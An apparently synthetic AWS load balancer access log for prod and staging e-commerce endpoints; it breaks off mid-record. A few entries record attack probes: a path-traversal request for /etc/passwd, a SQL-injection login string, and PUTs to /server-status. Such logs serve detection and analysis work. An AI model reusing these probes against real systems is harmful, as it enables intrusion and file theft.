"staging-alb.example.com" "-" 8 2024-11-01T00:39:31.150472Z "forward" "-" "-" "233.188.82.99:80" "404" "-" "-" -https 2024-11-01T00:39:32.601880Z prod-web-alb 141.194.20.24:31947 10.0.239.165:443 0.066872 0.195572 0.028939 200 200 331 7320 "GET /images/logo.png HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c0d4-194e03c950f04d55a69c1487" "prod-web-alb.example.com" "-" 0 2024-11-01T00:39:32.601880Z "forward" "-" "-" "10.0.239.165:443" "200" "-" "-" -https 2024-11-01T00:39:33.975794Z prod-api-alb 80.200.254.154:25921 10.0.90.131:443 0.032848 0.372317 0.063574 301 301 190 12738 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c0d5-ba6ad7babb644ade977ae9aa" "-" "-" 1 2024-11-01T00:39:33.975794Z "forward" "-" "-" "10.0.90.131:443" "301" "-" "-" -https 2024-11-01T00:39:34.097189Z prod-api-alb 242.127.127.204:35807 10.0.116.155:443 0.039320 0.019108 0.097972 200 200 473 14387 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c0d6-c5f89d53a1ff41e59c111026" "prod-api-alb.example.com" "-" 10 2024-11-01T00:39:34.097189Z "forward" "-" "-" "10.0.116.155:443" "200" "-" "-" -http 2024-11-01T00:39:34.965965Z staging-alb 214.145.65.241:13544 27.51.103.148:443 0.111345 0.545300 0.130639 302 302 431 12714 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c0d6-3a365a85e1f74404a3564808" "-" "-" 7 2024-11-01T00:39:34.965965Z "forward" "-" "-" "27.51.103.148:443" "302" "-" "-" -https 2024-11-01T00:39:36.868006Z prod-api-alb 23.44.7.140:55619 10.0.146.161:443 0.078004 0.318188 0.065454 200 200 142 2365 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c0d8-cec3c6d7102648f98f4141e2" "prod-api-alb.example.com" "-" 0 2024-11-01T00:39:36.868006Z "forward" "-" "-" "10.0.146.161:443" "200" "-" "-" -https 2024-11-01T00:39:37.220648Z prod-api-alb 235.177.58.77:54179 10.0.53.75:443 0.080401 0.062962 0.073943 404 404 119 3879 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c0d9-cc4169af65a14500b1db234a" "prod-api-alb.example.com" "-" 9 2024-11-01T00:39:37.220648Z "forward" "-" "-" "10.0.53.75:443" "404" "-" "-" -https 2024-11-01T00:39:38.664861Z prod-api-alb 8.125.255.118:26272 10.0.150.14:443 0.067119 0.318021 0.066571 302 302 594 7122 "GET /api/v2/users HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c0da-39f04eac8b96466ea78c4984" "prod-api-alb.example.com" "-" 5 2024-11-01T00:39:38.664861Z "forward" "-" "-" "10.0.150.14:443" "302" "-" "-" -https 2024-11-01T00:39:39.807761Z prod-web-alb 48.181.255.254:12218 10.0.211.161:443 0.078285 0.267971 0.015111 200 200 166 13676 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c0db-e471f87bfcc24cb682c10810" "prod-web-alb.example.com" "-" 0 2024-11-01T00:39:39.807761Z "forward" "-" "-" "10.0.211.161:443" "200" "-" "-" -https 2024-11-01T00:39:40.090834Z prod-web-alb 22.208.46.207:52396 10.0.158.40:443 0.079090 0.334889 0.098445 404 404 117 1202 "GET /products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c0dc-5e11f6ddd0cb4775bd4acbee" "prod-web-alb.example.com" "-" 0 2024-11-01T00:39:40.090834Z "forward" "-" "-" "10.0.158.40:443" "404" "-" "-" -https 2024-11-01T00:39:40.649400Z prod-api-alb 86.183.122.228:12701 10.0.190.216:443 0.027747 0.163251 0.024697 301 301 472 1647 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c0dc-eb3ef09e204e476fb60fc054" "prod-api-alb.example.com" "-" 8 2024-11-01T00:39:40.649400Z "forward" "-" "-" "10.0.190.216:443" "301" "-" "-" -https 2024-11-01T00:39:42.201071Z prod-api-alb 159.41.199.172:47701 10.0.128.80:443 0.024362 0.241770 0.025558 404 404 956 8418 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c0de-0f2a123b8b77450b9a0abbce" "prod-api-alb.example.com" "-" 6 2024-11-01T00:39:42.201071Z "forward" "-" "-" "10.0.128.80:443" "404" "-" "-" -http 2024-11-01T00:39:43.502984Z staging-alb 61.195.26.7:33739 191.3.21.123:8080 0.089033 0.086398 0.137632 302 302 938 11876 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c0df-75cc8a69f93a446f81a6d09e" "staging-alb.example.com" "-" 5 2024-11-01T00:39:43.502984Z "forward" "-" "-" "191.3.21.123:8080" "302" "-" "-" -https 2024-11-01T00:39:44.779371Z prod-web-alb 45.155.205.243:35781 10.0.162.247:443 0.012366 0.326427 0.087036 500 500 326 386 "PUT /metrics HTTP/1.1" "python-requests/2.31.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c0e0-147b3ef1bad74f769670bbb1" "-" "-" 6 2024-11-01T00:39:44.779371Z "forward" "-" "-" "10.0.162.247:443" "500" "-" "-" -https 2024-11-01T00:39:45.400085Z prod-web-alb 101.97.71.132:63419 10.0.178.73:443 0.069035 0.304590 0.045482 200 200 470 3316 "GET /cart HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c0e1-492ad9d78dae4c199d40dc8a" "prod-web-alb.example.com" "-" 7 2024-11-01T00:39:45.400085Z "forward" "-" "-" "10.0.178.73:443" "200" "-" "-" -https 2024-11-01T00:39:45.756752Z prod-web-alb 177.4.17.30:12709 10.0.21.39:443 0.040848 0.382290 0.094044 200 200 536 1230 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c0e1-d00772c08a4b484983c8dca6" "prod-web-alb.example.com" "-" 4 2024-11-01T00:39:45.756752Z "forward" "-" "-" "10.0.21.39:443" "200" "-" "-" -https 2024-11-01T00:39:45.915567Z staging-alb 45.155.205.141:42085 62.231.218.98:8080 0.002084 0.055096 0.016015 404 404 193 9940 "GET /assets/..%2f..%2f..%2fetc/passwd HTTP/1.1" "gobuster/3.5" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c0e1-d132004721fa4b2190128947" "-" "-" 7 2024-11-01T00:39:45.915567Z "forward" "-" "-" "62.231.218.98:8080" "404" "-" "-" -http 2024-11-01T00:39:47.885911Z staging-alb 182.234.201.47:17321 28.124.73.24:443 0.014148 0.239315 0.050445 200 200 918 14777 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c0e3-eb1fa64ad7c94050b71a4c4b" "staging-alb.example.com" "-" 2 2024-11-01T00:39:47.885911Z "forward" "-" "-" "28.124.73.24:443" "200" "-" "-" -https 2024-11-01T00:39:48.609022Z prod-web-alb 138.195.212.225:34990 10.0.13.203:443 0.065774 0.498289 0.042537 200 200 779 5404 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c0e4-a868cd9ee56f4c86a87e864d" "prod-web-alb.example.com" "-" 9 2024-11-01T00:39:48.609022Z "forward" "-" "-" "10.0.13.203:443" "200" "-" "-" -https 2024-11-01T00:39:49.399116Z prod-api-alb 98.225.215.130:14073 10.0.174.210:443 0.008839 0.381039 0.020269 200 200 975 14749 "GET /api/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c0e5-906b5f28ec8b4245a372b093" "prod-api-alb.example.com" "-" 8 2024-11-01T00:39:49.399116Z "forward" "-" "-" "10.0.174.210:443" "200" "-" "-" -http 2024-11-01T00:39:49.622261Z staging-alb 176.208.181.244:30611 67.65.66.240:80 0.021944 0.655603 0.134775 200 200 502 7610 "GET /staging/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c0e5-ce566f82d8944b6da9a7165b" "staging-alb.example.com" "-" 6 2024-11-01T00:39:49.622261Z "forward" "-" "-" "67.65.66.240:80" "200" "-" "-" -https 2024-11-01T00:39:50.707861Z prod-api-alb 146.114.16.244:28785 10.0.10.43:443 0.095051 0.416428 0.036841 301 301 981 14876 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c0e6-a1b6d2bde1eb4500aebaa098" "prod-api-alb.example.com" "-" 5 2024-11-01T00:39:50.707861Z "forward" "-" "-" "10.0.10.43:443" "301" "-" "-" -http 2024-11-01T00:39:52.339877Z staging-alb 42.57.79.6:62754 41.20.226.85:8080 0.048774 0.437621 0.100478 302 302 976 10273 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c0e8-eeb33056b44a4346a93ecf0b" "staging-alb.example.com" "-" 4 2024-11-01T00:39:52.339877Z "forward" "-" "-" "41.20.226.85:8080" "302" "-" "-" -http 2024-11-01T00:39:53.658535Z staging-alb 133.9.249.231:15234 93.135.247.111:80 0.104536 0.234262 0.011813 200 200 170 12074 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c0e9-8cc11a6d13a14c36bb0c961c" "staging-alb.example.com" "-" 10 2024-11-01T00:39:53.658535Z "forward" "-" "-" "93.135.247.111:80" "200" "-" "-" -https 2024-11-01T00:39:54.264362Z prod-api-alb 252.50.213.133:32910 10.0.46.10:443 0.061201 0.140907 0.025719 200 200 703 4489 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c0ea-a47275d9ca774b93b4987a3d" "prod-api-alb.example.com" "-" 5 2024-11-01T00:39:54.264362Z "forward" "-" "-" "10.0.46.10:443" "200" "-" "-" -https 2024-11-01T00:39:54.474268Z prod-api-alb 204.246.67.23:36746 10.0.195.24:443 0.005480 0.276061 0.074583 301 301 341 14426 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c0ea-a9ecd9324ccf434bb8fb11c8" "prod-api-alb.example.com" "-" 7 2024-11-01T00:39:54.474268Z "forward" "-" "-" "10.0.195.24:443" "301" "-" "-" -https 2024-11-01T00:39:56.074882Z prod-api-alb 242.221.40.217:14842 10.0.32.195:443 0.023255 0.445818 0.001295 200 200 310 10013 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c0ec-58a74126c03c4483a0310e17" "prod-api-alb.example.com" "-" 10 2024-11-01T00:39:56.074882Z "forward" "-" "-" "10.0.32.195:443" "200" "-" "-" -https 2024-11-01T00:39:56.440945Z prod-web-alb 0.96.97.4:15914 10.0.244.106:443 0.063757 0.370469 0.034362 200 200 528 8223 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c0ec-20e181393cd8455f9ec3a52c" "prod-web-alb.example.com" "-" 7 2024-11-01T00:39:56.440945Z "forward" "-" "-" "10.0.244.106:443" "200" "-" "-" -http 2024-11-01T00:39:57.415513Z staging-alb 231.45.40.253:37787 66.35.101.33:8080 0.047605 0.010793 0.073627 200 200 504 5468 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c0ed-5339b4b3e1464d0087005789" "staging-alb.example.com" "-" 4 2024-11-01T00:39:57.415513Z "forward" "-" "-" "66.35.101.33:8080" "200" "-" "-" -https 2024-11-01T00:39:58.658827Z prod-web-alb 69.125.195.112:61761 10.0.221.103:443 0.089756 0.258061 0.034346 200 200 498 11916 "GET /products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c0ee-4036d23173b941de809c5908" "prod-web-alb.example.com" "-" 10 2024-11-01T00:39:58.658827Z "forward" "-" "-" "10.0.221.103:443" "200" "-" "-" -https 2024-11-01T00:39:59.564698Z prod-web-alb 45.155.205.243:14264 10.0.48.187:443 0.081276 0.005683 0.061730 403 403 84 6068 "PUT /server-status HTTP/1.1" "python-requests/2.31.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c0ef-8d9fd80947f042cfa054fb87" "-" "-" 0 2024-11-01T00:39:59.564698Z "forward" "-" "-" "10.0.48.187:443" "403" "-" "-" -https 2024-11-01T00:40:00.548174Z staging-alb 226.191.124.75:62283 148.51.211.82:8080 0.021803 0.153542 0.076676 200 200 161 2002 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c0f0-38cea4d52d7c493998cf41d6" "staging-alb.example.com" "-" 9 2024-11-01T00:40:00.548174Z "forward" "-" "-" "148.51.211.82:8080" "200" "-" "-" -https 2024-11-01T00:40:00.755365Z staging-alb 132.232.34.204:63953 163.128.210.146:80 0.085561 0.167276 0.108663 200 200 272 10166 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c0f0-d85449751d4243d5a6a0619c" "staging-alb.example.com" "-" 10 2024-11-01T00:40:00.755365Z "forward" "-" "-" "163.128.210.146:80" "200" "-" "-" -https 2024-11-01T00:40:01.485818Z prod-web-alb 8.196.125.55:11147 10.0.37.237:443 0.066936 0.286354 0.066035 200 200 37 13069 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c0f1-ba39b9a0a10a435b93d7cbf9" "prod-web-alb.example.com" "-" 0 2024-11-01T00:40:01.485818Z "forward" "-" "-" "10.0.37.237:443" "200" "-" "-" -https 2024-11-01T00:40:02.973044Z prod-api-alb 59.230.85.87:13462 10.0.212.194:443 0.064600 0.345284 0.038022 302 302 597 4491 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c0f2-23cc6d2bc7f14d4898d18605" "prod-api-alb.example.com" "-" 4 2024-11-01T00:40:02.973044Z "forward" "-" "-" "10.0.212.194:443" "302" "-" "-" -https 2024-11-01T00:40:04.350513Z prod-api-alb 31.74.155.242:61141 10.0.140.97:443 0.012867 0.454116 0.032676 200 200 329 9641 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c0f4-7cf62f0b41084ba88f60b919" "prod-api-alb.example.com" "-" 6 2024-11-01T00:40:04.350513Z "forward" "-" "-" "10.0.140.97:443" "200" "-" "-" -https 2024-11-01T00:40:06.331298Z prod-web-alb 230.92.250.115:38608 10.0.196.242:443 0.020446 0.239916 0.049506 200 200 562 4325 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c0f6-6acf3bce6a9644578b1d0e1c" "prod-web-alb.example.com" "-" 1 2024-11-01T00:40:06.331298Z "forward" "-" "-" "10.0.196.242:443" "200" "-" "-" -https 2024-11-01T00:40:07.478117Z prod-api-alb 22.179.164.98:47534 10.0.61.176:443 0.035983 0.306443 0.040311 200 200 812 13644 "GET /api/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c0f7-7ac28aa4feea418584421532" "prod-api-alb.example.com" "-" 4 2024-11-01T00:40:07.478117Z "forward" "-" "-" "10.0.61.176:443" "200" "-" "-" -https 2024-11-01T00:40:08.556620Z prod-web-alb 78.148.246.79:58724 10.0.170.2:443 0.094496 0.163822 0.042176 200 200 689 12757 "GET /products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c0f8-e630b052aea94c1583e0cda9" "prod-web-alb.example.com" "-" 1 2024-11-01T00:40:08.556620Z "forward" "-" "-" "10.0.170.2:443" "200" "-" "-" -https 2024-11-01T00:40:10.335688Z staging-alb 179.15.203.205:49577 50.0.27.229:443 0.083436 0.101451 0.035604 302 302 530 10835 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c0fa-5372983fb0d94062ad8d32be" "staging-alb.example.com" "-" 7 2024-11-01T00:40:10.335688Z "forward" "-" "-" "50.0.27.229:443" "302" "-" "-" -https 2024-11-01T00:40:10.675208Z prod-web-alb 43.86.183.202:58771 10.0.13.104:443 0.007087 0.265123 0.012221 404 404 361 2058 "GET /products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c0fa-5f37b507c6714b8c88ab7f41" "prod-web-alb.example.com" "-" 0 2024-11-01T00:40:10.675208Z "forward" "-" "-" "10.0.13.104:443" "404" "-" "-" -https 2024-11-01T00:40:11.168781Z prod-api-alb 185.181.39.39:53537 10.0.244.228:443 0.072829 0.233694 0.099877 403 403 216 11863 "GET /admin/login?username=admin'--&password=x HTTP/1.1" "WhatWeb/0.5.5" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c0fb-1e19c04fc0744c3b90ce9f34" "-" "-" 0 2024-11-01T00:40:11.168781Z "forward" "-" "-" "10.0.244.228:443" "403" "-" "-" -https 2024-11-01T00:40:12.982203Z prod-api-alb 230.236.139.34:13382 10.0.222.173:443 0.083087 0.159218 0.024037 200 200 434 3444 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c0fc-d99da9d6e58a49dc93cae411" "prod-api-alb.example.com" "-" 4 2024-11-01T00:40:12.982203Z "forward" "-" "-" "10.0.222.173:443" "200" "-" "-" -https 2024-11-01T00:40:13.502466Z staging-alb 179.214.24.63:58091 88.139.42.199:8080 0.035819 0.072324 0.139247 200 200 568 4879 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c0fd-e849cc14adc2428d89ccef96" "-" "-" 10 2024-11-01T00:40:13.502466Z "forward" "-" "-" "88.139.42.199:8080" "200" "-" "-" -https 2024-11-01T00:40:14.287124Z prod-api-alb 30.77.72.222:51281 10.0.91.17:443 0.078558 0.346539 0.011160 404 404 350 5924 "GET /api/v2/users HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c0fe-f275dd9141ce44cb97defd0a" "prod-api-alb.example.com" "-" 10 2024-11-01T00:40:14.287124Z "forward" "-" "-" "10.0.91.17:443" "404" "-" "-" -https 2024-11-01T00:40:15.604403Z prod-web-alb 87.36.51.134:59640 10.0.49.219:443 0.030225 0.140840 0.054816 404 404 263 5110 "GET /products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c0ff-472a4d938c4d445f84168d0b" "prod-web-alb.example.com" "-" 2 2024-11-01T00:40:15.604403Z "forward" "-" "-" "10.0.49.219:443" "404" "-" "-" -https 2024-11-01T00:40:17.586281Z prod-web-alb 104.196.118.37:58947 10.0.177.95:443 0.012991 0.460918 0.080674 200 200 95 6613 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c101-b6ce9f29045a474eac1c0494" "prod-web-alb.example.com" "-" 3 2024-11-01T00:40:17.586281Z "forward" "-" "-" "10.0.177.95:443" "200" "-" "-" -https 2024-11-01T00:40:18.152772Z prod-web-alb 40.243.200.44:26632 10.0.30.76:443 0.067684 0.412141 0.012005 302 302 242 11898 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c102-25444106f90940c384c8c5e2" "prod-web-alb.example.com" "-" 3 2024-11-01T00:40:18.152772Z "forward" "-" "-" "10.0.30.76:443" "302" "-" "-" -https 2024-11-01T00:40:19.934564Z prod-api-alb 64.197.165.162:47635 10.0.66.186:443 0.003579 0.374836 0.081501 200 200 721 10914 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c103-77eff11f1c12426590760027" "prod-api-alb.example.com" "-" 8 2024-11-01T00:40:19.934564Z "forward" "-" "-" "10.0.66.186:443" "200" "-" "-" -https 2024-11-01T00:40:20.563164Z prod-api-alb 2.154.64.31:46896 10.0.142.241:443 